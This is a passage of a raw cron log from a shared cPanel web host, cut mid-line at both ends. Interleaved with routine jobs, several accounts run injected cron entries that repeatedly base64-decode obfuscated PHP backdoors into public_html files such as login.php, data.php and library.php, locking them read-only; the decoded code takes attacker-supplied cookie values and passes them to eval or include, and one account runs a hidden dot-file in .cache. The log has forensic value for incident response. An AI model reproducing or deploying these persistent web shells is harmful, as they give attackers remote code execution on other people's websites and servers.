JF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:35:02 medusa CROND[24527]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:35:02 medusa CROND[24522]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:35:02 medusa CROND[24532]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 22:36:02 medusa CROND[27755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:36:02 medusa CROND[27756]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:36:02 medusa CROND[27760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:36:02 medusa CROND[27761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:36:02 medusa CROND[27763]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:36:02 medusa CROND[27764]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:36:02 medusa CROND[27766]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:36:02 medusa CROND[27767]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:36:02 medusa CROND[27769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:36:02 medusa CROND[27770]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:36:02 medusa CROND[27776]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:36:02 medusa CROND[27775]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:36:02 medusa CROND[27778]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:36:02 medusa CROND[27780]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:37:01 medusa CROND[2500]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:37:01 medusa CROND[2501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:37:01 medusa CROND[2502]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:37:01 medusa CROND[2503]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:37:01 medusa CROND[2508]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:37:01 medusa CROND[2509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:37:01 medusa CROND[2513]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:37:01 medusa CROND[2518]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:37:01 medusa CROND[2519]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:37:01 medusa CROND[2520]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:37:01 medusa CROND[2524]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:37:01 medusa CROND[2527]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:37:01 medusa CROND[2530]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:38:02 medusa CROND[7987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:38:02 medusa CROND[8016]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:38:02 medusa CROND[8017]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:38:02 medusa CROND[8018]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:38:02 medusa CROND[8019]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:38:02 medusa CROND[8021]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:38:02 medusa CROND[8034]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:38:02 medusa CROND[8037]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:38:02 medusa CROND[8035]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:38:02 medusa CROND[8038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 